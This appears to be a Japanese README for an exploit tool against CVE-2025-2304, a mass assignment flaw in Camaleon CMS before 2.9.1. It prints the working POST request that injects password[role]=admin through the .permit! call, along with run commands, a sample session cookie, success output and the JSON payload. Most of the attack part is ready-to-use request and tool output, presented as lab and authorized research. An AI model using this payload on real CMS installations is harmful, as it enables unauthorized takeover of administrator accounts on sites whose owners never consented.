
CVE-2025-2304 は、Camaleon CMS(バージョン 2.9.1 未満)におけるマスアサインメント(Mass Assignment)の脆弱性です。認証済みユーザーがパスワード変更リクエストの role パラメータを操作することで、管理者(administrator)へ特権を昇格させることが可能になります。
Camaleon CMS は Ruby on Rails を使用しており、バージョン 2.9.0 では UsersController#updated_ajax コントローラにマスアサインメントの脆弱性があります。このコントローラは制限なしで .permit! を使用しているため、リクエストで送信された任意のパラメータがユーザーモデルに直接代入されます。
POST /admin/users/{user_id}/updated_ajaxpassword 名前空間内で送信される password[role]params.require(:password) を処理した後、.permit! を適用します。これはどのパラメータもフィルタリングしませんrole フィールドに "admin" という値が注入されますPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
password[role] パラメータは User.update(permitted_params) によって処理され、.permit! によりユーザーレコードに直接代入されます。これにより、特権が user から admin に昇格します。
# Python 3.6+
python3 --version
# 必要なライブラリ
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
スクリプトは対話形式で以下を要求します:
http(s)://domain:port_cms_session の値(ログイン後に取得)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
この脆弱性を発見したとき、最初に思いついたのは Burp Suite を使って手動でテストすることでした。そして、それは実際に機能しました。しかし、私はさらに一歩進めて、その手動プロセスを再現可能で移植可能なものにしたいと考え、このスクリプトを書きました。 この脆弱性を悪用するだけでなく、これを構築することで、私が純粋に興味を持っているいくつかのことに取り組む機会にもなりました:
私は Burp や Caido を置き換えようとしているわけではありません。それらのツールは対話型テストには欠かせません。これは、繰り返し作業をするくらいならスクリプトを書きたいという私の性分によるものです。
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
コードはモジュール構造になっており、以下が容易です:
.permit! の使用が修正されました以下のようなコントリビューションを歓迎します:
注意: このプロジェクトは、専ら教育的および許可された研究目的のためのものです。
最終更新: 2025年4月 | セキュリティアナリスト(実験室環境)